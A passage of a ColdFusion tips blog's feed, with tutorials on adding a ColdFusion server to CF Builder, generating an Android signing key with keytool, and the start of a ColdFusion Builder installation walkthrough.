&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZT7If4-UHxonnY-muc0nEaZ25cOXxGYuAXXHzL3MNfz7A8Eb5zs96JG_8-oPzL_lUvvSEgcKj5oTGRWQfhLAI8h3sfXSOKrTrzUDhKihA6GFVP9DxyomsLeEPk2Yt1SOtanASyJDAlKA/s1600/AddServer3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZT7If4-UHxonnY-muc0nEaZ25cOXxGYuAXXHzL3MNfz7A8Eb5zs96JG_8-oPzL_lUvvSEgcKj5oTGRWQfhLAI8h3sfXSOKrTrzUDhKihA6GFVP9DxyomsLeEPk2Yt1SOtanASyJDAlKA/s1600/AddServer3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Server Home&lt;/b&gt;: Browse and give your CF installation path and it will automatically take &lt;b&gt;Document Root, &lt;/b&gt;select your ColdFusion server version then check the check box for &quot;Use Windows Service to start/stop the server&quot;.&lt;br /&gt;
&lt;br /&gt;
Click on Next, you will see a new window like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGTNVZe_LT_jJdeJ9KCbu8BLcfkhhU1MibabSS_IJKM1UibVAzZ62NjyxjuKQGXZ2FDEKXhXh492RjeGU77-rcHHiCoqPDF4ZTo70bfxHuh6duJqqdvGcUpOxYlcJ1IlNPzPxtoMOletA/s1600/AddServer4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGTNVZe_LT_jJdeJ9KCbu8BLcfkhhU1MibabSS_IJKM1UibVAzZ62NjyxjuKQGXZ2FDEKXhXh492RjeGU77-rcHHiCoqPDF4ZTo70bfxHuh6duJqqdvGcUpOxYlcJ1IlNPzPxtoMOletA/s1600/AddServer4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
You don&#39;t need to change anything in this screen and click on finish and this window will be closed and you can see the server information which will be added in the bottom panel of the CF builder as shown in below image.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPJ-dqWwit71n0NGZBwDjbSHYyTFyYm98RcUH-UAU6PzgVE0gliZBMQnzJW0SIGjUr7gUBPWbD09RldtzJST1lP9n-gT6o7uyIUgg0iNsSuEyRK2_hXmTFC4_Le9L9ca6q4AO7JpdU40A/s1600/AddServer5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPJ-dqWwit71n0NGZBwDjbSHYyTFyYm98RcUH-UAU6PzgVE0gliZBMQnzJW0SIGjUr7gUBPWbD09RldtzJST1lP9n-gT6o7uyIUgg0iNsSuEyRK2_hXmTFC4_Le9L9ca6q4AO7JpdU40A/s1600/AddServer5.png&quot; height=&quot;454&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Here you can see the application server added into CF Builder and the status is &lt;b&gt;Running.&lt;/b&gt;&amp;nbsp;So, from here we can manage our CF server like: &lt;b&gt;starting server, stopping server, search for data source present in that server and view tables in that data source&lt;/b&gt;..and many other things.&lt;br /&gt;
&lt;br /&gt;
Hope it will save your time.&lt;br /&gt;
&lt;br /&gt;</description><link>http://coldfusion-tip.blogspot.com/2014/03/adding-cf-server-into-your-cf-builder.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnNu4ioqMakyltZ2YB6ld7xyAV8VqBr7Fn-OqzPCEpu1hzBm0wuqm29UKAJGShKzfD_-UCpCkLn1dqa1WY36l6mS-oiBkh_UYhTJi1paMUl3Aieg4fD_tvNfHZ0bmijGaQpfDAdAJCSIw/s72-c/AddServer1.png" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-5257267252723711836</guid><pubDate>Wed, 19 Mar 2014 13:25:00 +0000</pubDate><atom:updated>2014-03-19T19:01:29.844+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Generate Android Key using Command Line</category><title>Generate Android Key using Command Line</title><description>We need Android Key while developing an Android application. Sometimes we need to set in our editor in-order to generate an android build. So, how we can generate an Android Key?&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
There are many ways to generate Android Key like, by using Eclipse tool and by using command line. Here we will discuss how we can generate an Android key using command line.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
System Requirements: &lt;b&gt;Install latest JDK in your system&lt;/b&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Open command line by &quot;&lt;b&gt;Run as Administrator&lt;/b&gt;&quot; option.&lt;/li&gt;
&lt;li&gt;Go to bin folder of JDK installation, for me it&#39;s &quot;&lt;b&gt;C:\Program Files\Java\jdk1.6.0_35\bin&lt;/b&gt;&quot;, for you it may be different path.&lt;/li&gt;
&lt;li&gt;Then type the following command:&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;keytool -genkey -v -keystore &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;expensetracker.keystore&lt;/span&gt;&lt;span style=&quot;color: #274e13;&quot;&gt; -alias &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;expensetracker&lt;/span&gt;&lt;span style=&quot;color: #274e13;&quot;&gt; -keyalg RSA -keysize 2048 -validity 10000&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Here,&amp;nbsp;&lt;b&gt;expensetracker.keystore &lt;/b&gt;is the key store name and&amp;nbsp;&lt;b&gt;expensetracker &lt;/b&gt;in blue colored is the alias name.&lt;/div&gt;
&lt;div&gt;
Below is the screen shot:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGBmLy-Pj9xeaOi3uIJ9JokV9El9mXuVyNgAYXwHYdZJkb_1xuJC5RfzLdYyjKcy25V-9KTDhAPiJ9JwE0v3ors9gP9keRM3LW0MFEFe7PtcRwPIIiWu3qEmQo5lyuit0CGD9RGohz9Is/s1600/Keytool1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGBmLy-Pj9xeaOi3uIJ9JokV9El9mXuVyNgAYXwHYdZJkb_1xuJC5RfzLdYyjKcy25V-9KTDhAPiJ9JwE0v3ors9gP9keRM3LW0MFEFe7PtcRwPIIiWu3qEmQo5lyuit0CGD9RGohz9Is/s1600/Keytool1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Then you have to enter keystore password in the command prompt as shown below:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlgWCkuvFMup_xs5sCMH9j0HIzS6cbx-If9C8opV2z2sDc8Fg9LJWbzOqeIt_l534cJ93hK9b-_7p1vnnLV1zgotOjGSIgamxPvbg6lF0YzVhAcxut1xYvsD8Q5V_d9N_EjQNnbHSIhDs/s1600/Keytool2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlgWCkuvFMup_xs5sCMH9j0HIzS6cbx-If9C8opV2z2sDc8Fg9LJWbzOqeIt_l534cJ93hK9b-_7p1vnnLV1zgotOjGSIgamxPvbg6lF0YzVhAcxut1xYvsD8Q5V_d9N_EjQNnbHSIhDs/s1600/Keytool2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
You can provide any key with minimum 6 length and&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt; just a note whenever you will type your password you can&#39;t see it typing in command prompt&lt;/span&gt;&lt;/b&gt;. Then it will ask other information like first name, last name, Organization Unit.., you ca provide any value as per your wish as shown below:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit6VrHmenR824MDAvUmm_aAR-GP6cYl9XR1NxRfjUGtKoqm_VODdt-5bafqWfwb0ezXsVx7OC9YimGKnoHMlVZ0ZPnwehXx10THOX6xBGOQI_TlzQx76nNPhEwgow7np_NvPpeLRDz3Ps/s1600/Keytool3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit6VrHmenR824MDAvUmm_aAR-GP6cYl9XR1NxRfjUGtKoqm_VODdt-5bafqWfwb0ezXsVx7OC9YimGKnoHMlVZ0ZPnwehXx10THOX6xBGOQI_TlzQx76nNPhEwgow7np_NvPpeLRDz3Ps/s1600/Keytool3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Then it will ask to confirm your information, type &quot;yes&quot; and press &quot;Enter&quot;. Then it will ask for entering Key password, you can keep key password same as keystore or you can give a different password it&#39;s your choice then you will see a success message in the command line &quot;&lt;b&gt;Storing expensetracker.keystore&lt;/b&gt;&quot; as below:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRd3SLrRb_-uYNbPqPfNUlr2AMuqo7E1TAhKn32HW9JRNb90rOih_6xGEEPpOyrMM0CTPaXbi9aHJA-yyTWSLfCgjUqP_C1Df-oCCC6okWM3mv_1xjHN2q83LsVIBxEQPn8P3ICm5Jnto/s1600/Keytool5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRd3SLrRb_-uYNbPqPfNUlr2AMuqo7E1TAhKn32HW9JRNb90rOih_6xGEEPpOyrMM0CTPaXbi9aHJA-yyTWSLfCgjUqP_C1Df-oCCC6okWM3mv_1xjHN2q83LsVIBxEQPn8P3ICm5Jnto/s1600/Keytool5.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
So, your key is generated and it&#39;s present in the bin folder. Go to the bin folder of the JDK and search there with file name &quot;&lt;b&gt;expensetracker.keystore&lt;/b&gt;&quot;. If you have provided a different keystore name then you have to search using that name. Here you will get the keystore as shown below:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH9qOnvhFKQwyJDQVi99ecDlxEilSKcwMYuI9NYfhiIUmtM4_9iSjMDm-dWAqd3SKvAUDMdgOeHjLSx8QsBM1y99YwTdI2p6PC3OT3BTiF3zAMzoU3ol6_2Z81zWvnzXoKMXtS7U9moe4/s1600/Keytool4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH9qOnvhFKQwyJDQVi99ecDlxEilSKcwMYuI9NYfhiIUmtM4_9iSjMDm-dWAqd3SKvAUDMdgOeHjLSx8QsBM1y99YwTdI2p6PC3OT3BTiF3zAMzoU3ol6_2Z81zWvnzXoKMXtS7U9moe4/s1600/Keytool4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We got the keystore file and can use anywhere for Android App development.&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2014/03/generate-android-key-using-command-line.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGBmLy-Pj9xeaOi3uIJ9JokV9El9mXuVyNgAYXwHYdZJkb_1xuJC5RfzLdYyjKcy25V-9KTDhAPiJ9JwE0v3ors9gP9keRM3LW0MFEFe7PtcRwPIIiWu3qEmQo5lyuit0CGD9RGohz9Is/s72-c/Keytool1.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-6901847894529103579</guid><pubDate>Wed, 19 Mar 2014 11:43:00 +0000</pubDate><atom:updated>2014-03-21T01:09:28.070+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 11</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Splendor</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Thunder</category><title>Installation of ColdFusion Builder (CF THUNDER Beta)</title><description>&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 16.0pt; line-height: 115%; mso-bidi-font-size: 12.0pt;&quot;&gt;Installation
of ColdFusion Builder (CF THUNDER):&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 16.0pt; line-height: 115%; mso-bidi-font-size: 12.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
To download ColdFusion Thunder go to the URL&lt;b&gt;&amp;nbsp;&quot;http://labs.adobe.com/technologies/coldfusion/&quot;&amp;nbsp;&lt;/b&gt;and login with your Adobe ID. Here are the following steps which clearly explains the installation procedure of CF Thunder&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 16.0pt; line-height: 115%; mso-bidi-font-size: 12.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;Step 1:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt; Double click on the downloaded file, immediately a dialog box appears starting the installation process&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%; mso-no-proof: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTrjR5ZhbFTHqEafUFPHzorARhsuK3IgLek5OlfMYXS7Tm_1WpFycRWLi09qc9Z18zGKBJewPxWncfIbBwtbCxnBdjD422wQ1cMR_KwriblFC0Z_Tm3_iqj-m82SPQwoc_6yUJtorcuv_8/s1600/01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTrjR5ZhbFTHqEafUFPHzorARhsuK3IgLek5OlfMYXS7Tm_1WpFycRWLi09qc9Z18zGKBJewPxWncfIbBwtbCxnBdjD422wQ1cMR_KwriblFC0Z_Tm3_iqj-m82SPQwoc_6yUJtorcuv_8/s1600/01.png&quot; height=&quot;177&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;b&gt;Step 2:&lt;/b&gt;
Click on “Next”&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD5c52tzg2NgvbLiNeMZZ5gk9G9gr6w8_-Dkw2pKRU5rYXrNXoU6bUAt1V7adBIfb1JKNXJGebtuCc5tBP-RW34xuzDw7fghgLyo9l-WYJZRpeLJyj2fhAPYwNfOxeajMKchGYacv0f1kw/s1600/02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD5c52tzg2NgvbLiNeMZZ5gk9G9gr6w8_-Dkw2pKRU5rYXrNXoU6bUAt1V7adBIfb1JKNXJGebtuCc5tBP-RW34xuzDw7fghgLyo9l-WYJZRpeLJyj2fhAPYwNfOxeajMKchGYacv0f1kw/s1600/02.png&quot; height=&quot;449&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Step 3:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;Accept the license agreement and click on “Next”&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXHhTHw70sBvwcmznFgPNlWSdsuqTVx92ITO0J4J-PUthtxCyc3bro67vdod6nh7YUJ80WL_NyeByd_0JAMEWOcrX08bmumXCg1ryjOyY8h7z9l2ag0CI4eu3KvNgtdwWoFU0BA4_tbPHZ/s1600/03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXHhTHw70sBvwcmznFgPNlWSdsuqTVx92ITO0J4J-PUthtxCyc3bro67vdod6nh7YUJ80WL_NyeByd_0JAMEWOcrX08bmumXCg1ryjOyY8h7z9l2ag0CI4eu3KvNgtdwWoFU0BA4_tbPHZ/s1600/03.png&quot; height=&quot;452&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Step 4:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;If you want to get the ColdFusion builder plugins within eclipse go for the second option, option 1 selects standard ColdFusion builder and click on “Next”&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimWKdP5ad10Nywc3PByzozg7Jg8snPJEvym88r44GkIWfuiDDjj_YL1TArAYyLeaDf-iZZgEvCeUMHLhgXRev1i2ZLkk3zwfN3io-JjW8p6p8E0eAQCmqMfGgvVcptmPiTCiOaRboQkP36/s1600/04.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimWKdP5ad10Nywc3PByzozg7Jg8snPJEvym88r44GkIWfuiDDjj_YL1TArAYyLeaDf-iZZgEvCeUMHLhgXRev1i2ZLkk3zwfN3io-JjW8p6p8E0eAQCmqMfGgvVcptmPiTCiOaRboQkP36/s1600/04.png&quot; height=&quot;457&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;Step 5:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt; A dialog box with default path set is shown .If you want you can set the path by selecting choose button and then click
“Next”&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL-WLJMN6TmsQ4l1cMgOLxVPv-bNNOny6IzHBGxNPhze3S2vuoBLdT2WxJ9QrENLohC4b2ScxPXX322t63QT9deK1hUCK54cK_ke7yvc1RVv0N-KX9QG1MvnsbDFgbt1silnoQ8LGKWkL7/s1600/05.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL-WLJMN6TmsQ4l1cMgOLxVPv-bNNOny6IzHBGxNPhze3S2vuoBLdT2WxJ9QrENLohC4b2ScxPXX322t63QT9deK1hUCK54cK_ke7yvc1RVv0N-KX9QG1MvnsbDFgbt1silnoQ8LGKWkL7/s1600/05.png&quot; height=&quot;452&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Step 6:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 12pt; line-height: 115%;&quot;&gt; We
can also install ColdFusion server along with thunder. As we have already have installed ColdFusion Splendor first so we will uncheck that. And select the second
option to associate .cfm and .cfc files with CF Builder . If you select ColdFusion installation, here you have to set the ColdFusion Administrator password and RDS password. Otherwise ignore it. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 12pt; line-height: 115%;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
